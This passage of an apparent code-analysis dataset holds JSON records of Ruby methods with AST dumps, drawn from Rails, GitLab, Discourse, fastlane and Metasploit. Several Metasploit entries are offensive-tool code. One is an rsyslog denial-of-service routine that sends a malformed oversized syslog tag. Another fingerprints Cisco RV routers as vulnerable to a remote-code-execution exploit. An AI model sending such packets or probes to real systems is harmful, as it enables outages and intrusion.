">=\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"max\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"max\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"size\"]},{\"type\":\"lvar\",\"children\":[\"batch_count\"]}]}]}]}","id":"0b456651-fc56-4b91-8602-b5b4798fdfa2"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/portal_client.rb","start_line":474,"raw_source":"def team_remove_member!(team_member_id)\n      ensure_csrf(Spaceship::Portal::Persons)\n      response = request(:post) do |req|\n        req.url(\"/services-account/#{PROTOCOL_VERSION}/account/removeTeamMembers\")\n        req.body = {\n          teamId: team_id,\n          teamMemberIds: [team_member_id]\n        }.to_json\n        req.headers['Content-Type'] = 'application/json'\n      end\n      parse_response(response)\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"team_remove_member!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"team_member_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_csrf\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Portal\"]},\"Persons\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/services-account/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROTOCOL_VERSION\"]}]},{\"type\":\"str\",\"children\":[\"/account/removeTeamMembers\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"teamId\"]},{\"type\":\"send\",\"children\":[null,\"team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"teamMemberIds\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team_member_id\"]}]}]}]},\"to_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"7d8abb88-aa3f-41cd-a60d-a0ee4e6d981e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/spam_log.rb","start_line":19,"raw_source":"def self.verify_recaptcha!(id:, user_id:)\n    find_by(id: id, user_id: user_id)&.update!(recaptcha_verified: true)\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"verify_recaptcha!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]},{\"type\":\"kwarg\",\"children\":[\"user_id\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recaptcha_verified\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"af333cfc-1127-4c38-ba3f-981c58086413"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb","start_line":43,"raw_source":"def run\n    connect_udp\n    pkt = '<174>' + ('#' * 512) + ':'\n    print_status(\"Sending message containing a malformed RFC3164 tag to #{rhost}\")\n    udp_sock.put(pkt)\n    disconnect_udp\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect_udp\"]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<174>\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},\"*\",{\"type\":\"int\",\"children\":[512]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending message containing a malformed RFC3164 tag to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect_udp\"]}]}]}","id":"6a203b43-2d1e-41f6-99df-a6388417922d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/web_socket/amazon_ssm.rb","start_line":97,"raw_source":"def start_publication\n        msg = SsmFrame.create_start_pub\n        @publication = true\n        @websocket.put_wsbinary(msg.to_binary_s)\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start_publication\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SsmFrame\"]},\"create_start_pub\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@publication\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@websocket\"]},\"put_wsbinary\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"to_binary_s\"]}]}]}]}","id":"f94b0109-8be3-4b6b-8eaf-3789620e8816"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user/action/trigger_post_action.rb","start_line":24,"raw_source":"def delete_replies\n    return unless guardian.can_delete_post_or_topic?(post)\n    PostDestroyer.delete_with_replies(user, post)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_replies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_delete_post_or_topic?\",{\"type\":\"send\",\"children\":[null,\"post\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostDestroyer\"]},\"delete_with_replies\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[null,\"post\"]}]}]}]}","id":"263d9f59-06a6-4eb1-a29d-80248c0df9bf"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/plugins/plugin_fetcher.rb","start_line":50,"raw_source":"def linked_title\n      return \"`#{name}`\" if homepage.to_s.length == 0\n      return \"[#{name}](#{homepage})\"\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"linked_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"homepage\"]},\"to_s\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"](\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"homepage\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"3f906006-db2f-4c39-9609-26c466c3f103"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/postgres/postgres_sql.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PostgreSQL Server Generic Query',\n        'Description' => %q{\n          This module will allow for simple SQL statements to be executed against a\n          PostgreSQL instance given the appropriate credentials.\n        },\n        'Author' => [ 'todb' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'URL', 'https://www.postgresql.org' ]\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PostgreSQL Server Generic Query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will allow for simple SQL statements to be executed against a\\n\"]},{\"type\":\"str\",\"children\":[\"          PostgreSQL instance given the appropriate credentials.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"todb\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.postgresql.org\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"b550547f-b3f2-4b82-8623-f481148e6bd1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":849,"raw_source":"def test_eager_with_multi_table_conditional_properly_counts_the_records_when_using_size\n    author = authors(:david)\n    posts_with_no_comments = author.posts.select { |post| post.comments.blank? }\n    assert_equal posts_with_no_comments.size, author.posts_with_no_comments.size\n    assert_equal posts_with_no_comments, author.posts_with_no_comments\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_with_multi_table_conditional_properly_counts_the_records_when_using_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_with_no_comments\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"comments\"]},\"blank?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_with_no_comments\"]},\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts_with_no_comments\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"posts_with_no_comments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts_with_no_comments\"]}]}]}]}","id":"13ad5459-1e73-43c3-8878-6684d3ff8e47"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ldap/active_directory.rb","start_line":157,"raw_source":"def adds_get_object_by_dn(ldap, object_dn)\n        object = ldap_entry_cache.get_by_dn(object_dn)\n        return object if object\n\n        object = ldap.search(base: object_dn, controls: [adds_build_ldap_sd_control], scope: Net::LDAP::SearchScope_BaseObject)&.first\n        validate_query_result!(ldap.get_operation_result.table)\n\n        ldap_entry_cache << object if object\n        object\n      end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"adds_get_object_by_dn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ldap\"]},{\"type\":\"arg\",\"children\":[\"object_dn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap_entry_cache\"]},\"get_by_dn\",{\"type\":\"lvar\",\"children\":[\"object_dn\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap\"]},\"search\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"lvar\",\"children\":[\"object_dn\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controls\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adds_build_ldap_sd_control\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"SearchScope_BaseObject\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_query_result!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap\"]},\"get_operation_result\"]},\"table\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap_entry_cache\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}","id":"01238bd9-84b7-4eb8-91b4-d387b0b971b4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/reviewable_ai_chat_message.rb","start_line":23,"raw_source":"def chat_message_creator\n    @chat_message_creator ||= chat_message.user\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"chat_message_creator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@chat_message_creator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_message\"]},\"user\"]}]}]}","id":"e4591d88-8e82-47dd-8d89-f037444b6410"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/spec_helper.rb","start_line":28,"raw_source":"def self.example_failed(example)\n    raise example.exception\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"example_failed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"exception\"]}]}]}","id":"9f92dc8f-d219-4db8-90d1-89fa35cbd8b6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb","start_line":340,"raw_source":"def check\n    # We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users.\n    # We use lang_pack/EN.js because it's the one file that changes the most between versions.\n    # Note that it's not a smoking gun given that some branches keep the exact same files in /www\n    # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x)\n\n    fingerprints = {\n      \"69d906ddd59eb6755a7b9c4f46ea11cdaa47c706\" => {\n        \"version\" => \"Cisco RV110W 1.1.0.9\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"8d3b677d870425198f7fae94d6cfe262551aa8bd\" => {\n        \"version\" => \"Cisco RV110W 1.2.0.9\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"134ee643ec877641030211193a43cc5e93c96a06\" => {\n        \"version\" => \"Cisco RV110W 1.2.0.10\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"e3b2ec9d099a3e3468f8437e5247723643ff830e\" => {\n        \"version\" => \"Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)\",\n        \"status\" => Exploit::CheckCode::Unknown\n      },\n      \"6b7b1e8097e8dda26db27a09b8176b9c32b349b3\" => {\n        \"version\" => \"Cisco RV130/RV130W 1.0.0.21\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"9b1a87b752d11c5ba97dd80d6bae415532615266\" => {\n        \"version\" => \"Cisco RV130/RV130W 1.0.1.3\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"9b6399842ef69cf94409b65c4c61017c862b9d09\" => {\n        \"version\" => \"Cisco RV130/RV130W 1.0.2.7\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"8680ec6df4f8937acd3505a4dd36d40cb02c2bd6\" => {\n        \"version\" => \"Cisco RV130/RV130W 1.0.3.14, 1.0.3.16\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"8c8e05de96810a02344d96588c09b21c491ede2d\" => {\n        \"version\" => \"Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)\",\n        \"status\" => Exploit::CheckCode::Unknown\n      },\n      \"2f29a0dfa78063d643eb17388e27d3f804ff6765\" => {\n        \"version\" => \"Cisco RV215W 1.1.0.5\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f\" => {\n        \"version\" => \"Cisco RV215W 1.1.0.6\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"7cc8fcce5949a68c31641c38255e7f6ed31ff4db\" => {\n        \"version\" => \"Cisco RV215W 1.2.0.14 or 1.2.0.15\",\n        \"status\" => Exploit::CheckCode::Vulnerable\n      },\n      \"050d47ea944eaeadaec08945741e8e380f796741\" => {\n        \"version\" => \"Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)\",\n        \"status\" => Exploit::CheckCode::Unknown\n      }\n    }\n\n    uri = target_uri.path\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(uri, 'lang_pack/EN.js')\n    })\n    if res && res.code == 200\n      fingerprint = Digest::SHA1.hexdigest(\"#{res.body.to_s}\")\n      if fingerprints.key?(fingerprint)\n        print_good(\"Successfully identified device: #{fingerprints[fingerprint][\"version\"]}\")\n        return fingerprints[fingerprint][\"status\"]\n      else\n        print_status(\"Couldn't reliably fingerprint the target.\")\n      end\n    end\n    Exploit::CheckCode::Unknown\n  end","complexity_score":29.03,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fingerprints\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"69d906ddd59eb6755a7b9c4f46ea11cdaa47c706\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV110W 1.1.0.9\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"8d3b677d870425198f7fae94d6cfe262551aa8bd\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV110W 1.2.0.9\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"134ee643ec877641030211193a43cc5e93c96a06\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV110W 1.2.0.10\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"e3b2ec9d099a3e3468f8437e5247723643ff830e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"6b7b1e8097e8dda26db27a09b8176b9c32b349b3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV130/RV130W 1.0.0.21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"9b1a87b752d11c5ba97dd80d6bae415532615266\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV130/RV130W 1.0.1.3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"9b6399842ef69cf94409b65c4c61017c862b9d09\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV130/RV130W 1.0.2.7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"8680ec6df4f8937acd3505a4dd36d40cb02c2bd6\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV130/RV130W 1.0.3.14, 1.0.3.16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"8c8e05de96810a02344d96588c09b21c491ede2d\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"2f29a0dfa78063d643eb17388e27d3f804ff6765\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV215W 1.1.0.5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV215W 1.1.0.6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"7cc8fcce5949a68c31641c38255e7f6ed31ff4db\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"Cisco RV215W 1.2.0.14 or 